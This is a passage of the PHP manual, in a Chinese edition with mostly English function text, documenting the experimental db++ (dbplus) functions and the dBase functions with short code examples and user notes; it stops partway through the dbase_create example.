本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_errno() will return the error code returned by the last db++ operation.

See also dbplus_errcode().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_errcode | 上一级 | dbplus_find


dbplus_find

(4.1.0 - 4.2.3 only, PECL)

dbplus_find -- Set a constraint on a relation

Description

int dbplus_find ( resource relation, array constraints, mixed tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_find() will place a constraint on the given relation. Further calls to functions like dbplus_curr() or dbplus_next() will only return tuples matching the given constraints.

Constraints are triplets of strings containing of a domain name, a comparison operator and a comparison value. The constraints parameter array may consist of a collection of string arrays, each of which contains a domain, an operator and a value, or of a single string array containing a multiple of three elements.

The comparison operator may be one of the following strings: '==', '>', '>=', '<', '<=', '!=', '~' for a regular expression match and 'BAND' or 'BOR' for bitwise operations.

See also dbplus_unselect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_errno | 上一级 | dbplus_first


dbplus_first

(4.1.0 - 4.2.3 only, PECL)

dbplus_first -- Get first tuple from relation

Description

int dbplus_first ( resource relation, array &tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_curr() will read the data for the first tuple for the given relation, make it the current tuple and pass it back as an associative array in tuple.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

See also dbplus_curr(),
dbplus_prev(),
dbplus_next(), and
dbplus_last().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_find | 上一级 | dbplus_flush


dbplus_flush

(4.1.0 - 4.2.3 only, PECL)

dbplus_flush -- Flush all changes made on a relation

Description

int dbplus_flush ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_flush() will write all changes applied to relation since the last flush to disk.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_first | 上一级 | dbplus_freealllocks


dbplus_freealllocks

(4.1.0 - 4.2.3 only, PECL)

dbplus_freealllocks -- Free all locks held by this client

Description

int dbplus_freealllocks ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_freealllocks() will free all tuple locks held by this client.

See also dbplus_getlock(),
dbplus_freelock(), and
dbplus_freerlocks().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_flush | 上一级 | dbplus_freelock


dbplus_freelock

(4.1.0 - 4.2.3 only, PECL)

dbplus_freelock -- Release write lock on tuple

Description

int dbplus_freelock ( resource relation, string tname )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_freelock() will release a write lock on the given tuple previously obtained by dbplus_getlock().

See also dbplus_getlock(),
dbplus_freerlocks(), and
dbplus_freealllocks().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_freealllocks | 上一级 | dbplus_freerlocks


dbplus_freerlocks

(4.1.0 - 4.2.3 only, PECL)

dbplus_freerlocks -- Free all tuple locks on given relation

Description

int dbplus_freerlocks ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_freerlocks() will free all tuple locks held on the given relation.

See also dbplus_getlock(),
dbplus_freelock(), and
dbplus_freealllocks().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_freelock | 上一级 | dbplus_getlock


dbplus_getlock

(4.1.0 - 4.2.3 only, PECL)

dbplus_getlock -- Get a write lock on a tuple

Description

int dbplus_getlock ( resource relation, string tname )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_getlock() will request a write lock on the specified tuple. It will return zero on success or a non-zero error code, especially DBPLUS_ERR_WLOCKED, on failure.

See also dbplus_freelock(),
dbplus_freerlocks(), and
dbplus_freealllocks().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_freerlocks | 上一级 | dbplus_getunique


dbplus_getunique

(4.1.0 - 4.2.3 only, PECL)

dbplus_getunique -- Get an id number unique to a relation

Description

int dbplus_getunique ( resource relation, int uniqueid )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_getunique() will obtain a number guaranteed to be unique for the given relation and will pass it back in the variable given as uniqueid.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_getlock | 上一级 | dbplus_info


dbplus_info

(4.1.0 - 4.2.3 only, PECL)

dbplus_info -- Get information about a relation

Description

int dbplus_info ( resource relation, string key, array &result )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_getunique | 上一级 | dbplus_last


dbplus_last

(4.1.0 - 4.2.3 only, PECL)

dbplus_last -- Get last tuple from relation

Description

int dbplus_last ( resource relation, array &tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_curr() will read the data for the last tuple for the given relation, make it the current tuple and pass it back as an associative array in tuple.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

See also dbplus_first(),
dbplus_curr(),
dbplus_prev(), and
dbplus_next().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_info | 上一级 | dbplus_lockrel


dbplus_lockrel

(no version information, might be only in CVS)

dbplus_lockrel -- Request write lock on relation

Description

int dbplus_lockrel ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_lockrel() will request a write lock on the given relation. Other clients may still query the relation, but can't alter it while it is locked.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_last | 上一级 | dbplus_next


dbplus_next

(4.1.0 - 4.2.3 only, PECL)

dbplus_next -- Get next tuple from relation

Description

int dbplus_next ( resource relation, array &tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_curr() will read the data for the next tuple for the given relation, will make it the current tuple and will pass it back as an associative array in tuple.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

See also dbplus_first(),
dbplus_curr(),
dbplus_prev(), and
dbplus_last().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_lockrel | 上一级 | dbplus_open


dbplus_open

(4.1.0 - 4.2.3 only, PECL)

dbplus_open -- Open relation file

Description

resource dbplus_open ( string name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The relation file name will be opened. name can be either a file name or a relative or absolute path name. This will be mapped in any case to an absolute relation file path on a specific host machine and server.

On success a relation file resource (cursor) is returned which must be used in any subsequent commands referencing the relation. Failure leads to a zero return value, the actual error code may be asked for by calling dbplus_errno().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_next | 上一级 | dbplus_prev


dbplus_prev

(4.1.0 - 4.2.3 only, PECL)

dbplus_prev -- Get previous tuple from relation

Description

int dbplus_prev ( resource relation, array &tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_curr() will read the data for the previous tuple for the given relation, will make it the current tuple and will pass it back as an associative array in tuple.

The function will return zero (aka. DBPLUS_ERR_NOERR) on success or a db++ error code on failure. See dbplus_errcode() or the introduction to this chapter for more information on db++ error codes.

See also dbplus_first(),
dbplus_curr(),
dbplus_next(), and
dbplus_last().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_open | 上一级 | dbplus_rchperm


dbplus_rchperm

(4.1.0 - 4.2.3 only, PECL)

dbplus_rchperm -- Change relation permissions

Description

int dbplus_rchperm ( resource relation, int mask, string user, string group )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rchperm() will change access permissions as specified by mask, user and group. The values for these are operating system specific.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_prev | 上一级 | dbplus_rcreate


dbplus_rcreate

(4.1.0 - 4.2.3 only, PECL)

dbplus_rcreate -- Creates a new DB++ relation

Description

resource dbplus_rcreate ( string name, mixed domlist [, bool overwrite] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rcreate() will create a new relation named name. An existing relation by the same name will only be overwritten if the relation is currently not in use and overwrite is set to TRUE.

domlist should contain the domain specification for the new relation within an array of domain description strings. ( dbplus_rcreate() will also accept a string with space delimited domain description strings, but it is recommended to use an array). A domain description string consists of a domain name unique to this relation, a slash and a type specification character. See the db++ documentation, especially the dbcreate(1) manpage, for a description of available type specifiers and their meanings.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rchperm | 上一级 | dbplus_rcrtexact


dbplus_rcrtexact

(4.1.0 - 4.2.3 only, PECL)

dbplus_rcrtexact -- Creates an exact but empty copy of a relation including indices

Description

mixed dbplus_rcrtexact ( string name, resource relation [, bool overwrite] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rcrtexact() will create an exact but empty copy of the given relation under a new name. An existing relation by the same name will only be overwritten if overwrite is TRUE and no other process is currently using the relation.

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rcreate | 上一级 | dbplus_rcrtlike


dbplus_rcrtlike

(4.1.0 - 4.2.3 only, PECL)

dbplus_rcrtlike -- Creates an empty copy of a relation with default indices

Description

mixed dbplus_rcrtlike ( string name, resource relation [, int overwrite] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rcrtexact() will create an empty copy of the given relation under a new name, but with default indices. An existing relation by the same name will only be overwritten if overwrite is TRUE and no other process is currently using the relation.

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rcrtexact | 上一级 | dbplus_resolve


dbplus_resolve

(4.1.0 - 4.2.3 only, PECL)

dbplus_resolve -- Resolve host information for relation

Description

array dbplus_resolve ( string relation_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_resolve() will try to resolve the given relation_name and find out internal server id, real hostname and the database path on this host. The function will return an array containing these values under the keys 'sid', 'host' and 'host_path' or FALSE on error.

See also dbplus_tcl().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rcrtlike | 上一级 | dbplus_restorepos


dbplus_restorepos

(4.1.0 - 4.2.3 only, PECL)

dbplus_restorepos -- Restore position

Description

int dbplus_restorepos ( resource relation, array tuple )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_resolve | 上一级 | dbplus_rkeys


dbplus_rkeys

(4.1.0 - 4.2.3 only, PECL)

dbplus_rkeys -- Specify new primary key for a relation

Description

mixed dbplus_rkeys ( resource relation, mixed domlist )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rkeys() will replace the current primary key for relation with the combination of domains specified by domlist.

domlist may be passed as a single domain name string or as an array of domain names.

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_restorepos | 上一级 | dbplus_ropen


dbplus_ropen

(4.1.0 - 4.2.3 only, PECL)

dbplus_ropen -- Open relation file local

Description

resource dbplus_ropen ( string name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_ropen() will open the relation file locally for quick access without any client/server overhead. Access is read only and only dbplus_current() and dbplus_next() may be applied to the returned relation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rkeys | 上一级 | dbplus_rquery


dbplus_rquery

(4.1.0 - 4.2.3 only, PECL)

dbplus_rquery -- Perform local (raw) AQL query

Description

resource dbplus_rquery ( string query [, string dbpath] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rquery() performs a local (raw) AQL query using an AQL interpreter embedded into the db++ client library. dbplus_rquery() is faster than dbplus_aql() but will work on local data only.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_ropen | 上一级 | dbplus_rrename


dbplus_rrename

(4.1.0 - 4.2.3 only, PECL)

dbplus_rrename -- Rename a relation

Description

int dbplus_rrename ( resource relation, string name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rrename() will change the name of relation to name.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rquery | 上一级 | dbplus_rsecindex


dbplus_rsecindex

(4.1.0 - 4.2.3 only, PECL)

dbplus_rsecindex -- Create a new secondary index for a relation

Description

mixed dbplus_rsecindex ( resource relation, mixed domlist, int type )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rsecindex() will create a new secondary index for relation with consists of the domains specified by domlist and is of type type

domlist may be passed as a single domain name string or as an array of domain names.

Returns resource on success or DBPLUS_ERR_UNKNOWN on failure.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rrename | 上一级 | dbplus_runlink


dbplus_runlink

(4.1.0 - 4.2.3 only, PECL)

dbplus_runlink -- Remove relation from filesystem

Description

int dbplus_runlink ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_unlink() will close and remove the relation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rsecindex | 上一级 | dbplus_rzap


dbplus_rzap

(4.1.0 - 4.2.3 only, PECL)

dbplus_rzap -- Remove all tuples from relation

Description

int dbplus_rzap ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_rzap() will remove all tuples from relation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_runlink | 上一级 | dbplus_savepos


dbplus_savepos

(4.1.0 - 4.2.3 only, PECL)

dbplus_savepos -- Save position

Description

int dbplus_savepos ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_rzap | 上一级 | dbplus_setindex


dbplus_setindex

(4.1.0 - 4.2.3 only, PECL)

dbplus_setindex -- Set index

Description

int dbplus_setindex ( resource relation, string idx_name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_savepos | 上一级 | dbplus_setindexbynumber


dbplus_setindexbynumber

(4.1.0 - 4.2.3 only, PECL)

dbplus_setindexbynumber -- Set index by number

Description

int dbplus_setindexbynumber ( resource relation, int idx_number )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_setindex | 上一级 | dbplus_sql


dbplus_sql

(4.1.0 - 4.2.3 only, PECL)

dbplus_sql -- Perform SQL query

Description

resource dbplus_sql ( string query [, string server [, string dbpath]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_setindexbynumber | 上一级 | dbplus_tcl


dbplus_tcl

(4.1.0 - 4.2.3 only, PECL)

dbplus_tcl -- Execute TCL code on server side

Description

string dbplus_tcl ( int sid, string script )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

A db++ server will prepare a TCL interpreter for each client connection. This interpreter will enable the server to execute TCL code provided by the client as a sort of stored procedures to improve the performance of database operations by avoiding client/server data transfers and context switches.

dbplus_tcl() needs to pass the client connection id the TCL script code should be executed by. dbplus_resolve() will provide this connection id. The function will return whatever the TCL code returns or a TCL error message if the TCL code fails.

See also dbplus_resolve().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_sql | 上一级 | dbplus_tremove


dbplus_tremove

(4.1.0 - 4.2.3 only, PECL)

dbplus_tremove -- Remove tuple and return new current tuple

Description

int dbplus_tremove ( resource relation, array tuple [, array &current] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_tremove() removes tuple from relation if it perfectly matches a tuple within the relation. current, if given, will contain the data of the new current tuple after calling dbplus_tremove().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_tcl | 上一级 | dbplus_undo


dbplus_undo

(4.1.0 - 4.2.3 only, PECL)

dbplus_undo -- Undo

Description

int dbplus_undo ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_tremove | 上一级 | dbplus_undoprepare


dbplus_undoprepare

(4.1.0 - 4.2.3 only, PECL)

dbplus_undoprepare -- Prepare undo

Description

int dbplus_undoprepare ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_undo | 上一级 | dbplus_unlockrel


dbplus_unlockrel

(4.1.0 - 4.2.3 only, PECL)

dbplus_unlockrel -- Give up write lock on relation

Description

int dbplus_unlockrel ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_unlockrel() will release a write lock previously obtained by dbplus_lockrel().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_undoprepare | 上一级 | dbplus_unselect


dbplus_unselect

(4.1.0 - 4.2.3 only, PECL)

dbplus_unselect -- Remove a constraint from relation

Description

int dbplus_unselect ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Calling dbplus_unselect() will remove a constraint previously set by dbplus_find() on relation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_unlockrel | 上一级 | dbplus_update


dbplus_update

(4.1.0 - 4.2.3 only, PECL)

dbplus_update -- Update specified tuple in relation

Description

int dbplus_update ( resource relation, array old, array new )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_update() replaces the tuple given by old with the data from new if and only if old completely matches a tuple within relation.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_unselect | 上一级 | dbplus_xlockrel


dbplus_xlockrel

(4.1.0 - 4.2.3 only, PECL)

dbplus_xlockrel -- Request exclusive lock on relation

Description

int dbplus_xlockrel ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_xlockrel() will request an exclusive lock on relation preventing even read access from other clients.

See also dbplus_xunlockrel().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_update | 上一级 | dbplus_xunlockrel


dbplus_xunlockrel

(4.1.0 - 4.2.3 only, PECL)

dbplus_xunlockrel -- Free exclusive lock on relation

Description

int dbplus_xunlockrel ( resource relation )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

dbplus_xunlockrel() will release an exclusive lock on relation previously obtained by dbplus_xlockrel().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbplus_xlockrel | 上一级 | dBase Functions


dBase Functions

PHP 手册
后退 前进

XXIV. dBase Functions

简介

These functions allow you to access records stored in dBase-format (dbf) databases.

dBase files are simple sequential files of fixed length records. Records are appended to the end of the file and delete records are kept until you call dbase_pack().

The types of dBase fields available are:

表格 1. Available types of fields

Field | dBase Type | Format | Additional informations
M | Memo | n/a | This type is not supported by PHP, such field will be ignored
D | Date | YYYYMMDD | The field length is limited to 8
N | Number | A number | You must declare a length and a precision (the number of digits after the decimal point)
C | String | A string | You must declare a length. When retrieving data, the string will be right-padded with spaces to fit the declared length.
L | Boolean | T or Y for TRUE, F or N for FALSE | Stored and returned as an integer (1 or 0)

警告

There is no support for indexes or memo fields. There is no support for locking, too. Two concurrent webserver processes modifying the same dBase file will very likely ruin your database.

We recommend that you do not use dBase files as your production database. Choose any real SQL server instead; MySQL or Postgres are common choices with PHP. dBase support is here to allow you to import and export data to and from your web database, because the file format is commonly understood by Windows spreadsheets and organizers.

安装

In order to enable the bundled dbase library and to use these functions, you must compile PHP with the --enable-dbase option.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

范例

Many examples in this reference require a dBase database. We will use /tmp/test.dbf that will be created in the example of dbase_create().

预定义常量

本扩展模块未定义任何常量。

目录
dbase_add_record -- Adds a record to a database
dbase_close -- Closes a database
dbase_create -- Creates a database
dbase_delete_record -- Deletes a record from a database
dbase_get_header_info -- Gets the header info of a database
dbase_get_record_with_names -- Gets a record from a database as an associative array
dbase_get_record -- Gets a record from a database as an indexed array
dbase_numfields -- Gets the number of fields of a database
dbase_numrecords -- Gets the number of records in a database
dbase_open -- Opens a database
dbase_pack -- Packs a database
dbase_replace_record -- Replaces a record in a database

add a note add a note User Contributed Notes
Hadi Rusiah / deegos at yahoo dot com
09-May-2004 01:33
If you are using PHP < 5, you can use this function to retrieve dbf header

<?
function get_dbf_header($dbfname) {
   $fdbf = fopen($dbfname,'r');

   $dbfhdrarr = array();
   $buff32 = array();
   $i = 1;
   $goon = true;

   while ($goon) {
     if (!feof($fdbf)) {
         $buff32 = fread($fdbf,32);
         if ($i > 1) {
           if (substr($buff32,0,1) == chr(13)) {
               $goon = false;
           } else {
               $pos = strpos(substr($buff32,0,10),chr(0));
               $pos = ($pos == 0?10:$pos);

               $fieldname = substr($buff32,0,$pos);
               $fieldtype = substr($buff32,11,1);
               $fieldlen = ord(substr($buff32,16,1));
               $fielddec = ord(substr($buff32,17,1));

array_push($dbfhdrarr, array($fieldname,$fieldtype,$fieldlen,$fielddec));

           }
         }
         $i++;
     } else {
         $goon = false;
     }
   }

   fclose($fdbf);
   return($dbfhdrarr);
}

$arr = get_dbf_header('/data/file.dbf');
print_r($arr);
?>
add a note add a note

后退 | 起点 | 前进
dbplus_xunlockrel | 上一级 | dbase_add_record


dbase_add_record

(PHP 3, PHP 4, PHP 5)

dbase_add_record -- Adds a record to a database

说明

bool dbase_add_record ( int dbase_identifier, array record )

Adds the given data to the database.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

record

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_add_record() will fail.

注: If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Inserting a record in a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  dbase_add_record($db, array(
      date('Ymd'),
      'Maxim Topolov',
      '23',
      'max@example.com',
      'T'));
  dbase_close($db);
}

?>

参见

dbase_delete_record()
dbase_replace_record()

add a note add a note User Contributed Notes
michele dot manzato at NOSPAM dot verona dot miz dot it
27-Jan-2006 09:49
Apparently, one cannot use associative arrays in order to compose the record to be written to the dbf file. The following code will not work and will raise an unexpected error:

<?php
$record = array("ID" => 10, "VALUE" => 'Hello');
dbase_add_record($dbid, $record);
?>

Instead:

<?php
$record = array(0 => 10, 1 => 'Hello');
dbase_add_record($dbid, $record);
?>
Dahlmann at Dahlmann dot biz
07-Jul-2005 07:57
I had some problems with old dbase3 database. Odd behaviour of the php-progs and incomplete file copies.

I assume that the header was partly corrupt, but clipper-progs worked fine. I copied structure to file (copy to test structure extended), then rebuilt the  database from the structure file again and made an append from the original file.
That fixed the error.
heinrich at c-tera dot de
12-Dec-2002 04:59
Field type incompatible inputs can cause PHP to crash or strange errors to occur. After finding that out it was easy to fill also "big" dbase-files with size bigger than 15 MB. Don't let your enthusiasm be broken by inexact error messages! :-)
add a note add a note

后退 | 起点 | 前进
dBase Functions | 上一级 | dbase_close


dbase_close

(PHP 3, PHP 4, PHP 5)

dbase_close -- Closes a database

说明

bool dbase_close ( int dbase_identifier )

Closes the given database link identifier.

参数

dbase_identifier

The database link identifier, returned by dbase_open() or dbase_create().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Closing a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

参见

dbase_open()
dbase_create()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
dbase_add_record | 上一级 | dbase_create


dbase_create

(PHP 3, PHP 4, PHP 5)

dbase_create -- Creates a database

说明

int dbase_create ( string filename, array fields )

dbase_create() creates a dBase database with the given definition.

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

注: 本函数受 open_basedir 的影响。

参数

filename

The name of the database. It can be a relative or absolute path to the file where dBase will store your data.

fields

An array of arrays, each array describing the format of one field of the database. Each field consists of a name, a character indicating the field type, and optionally, a length, and a precision.

注: The fieldnames are limited in length and must not exceed 10 chars.

返回值

Returns a database link identifier if the database is successfully created, or FALSE if an error occurred.

范例

例子 1. Creating a dBase database file

<?php

// database "definition"
$def = array(
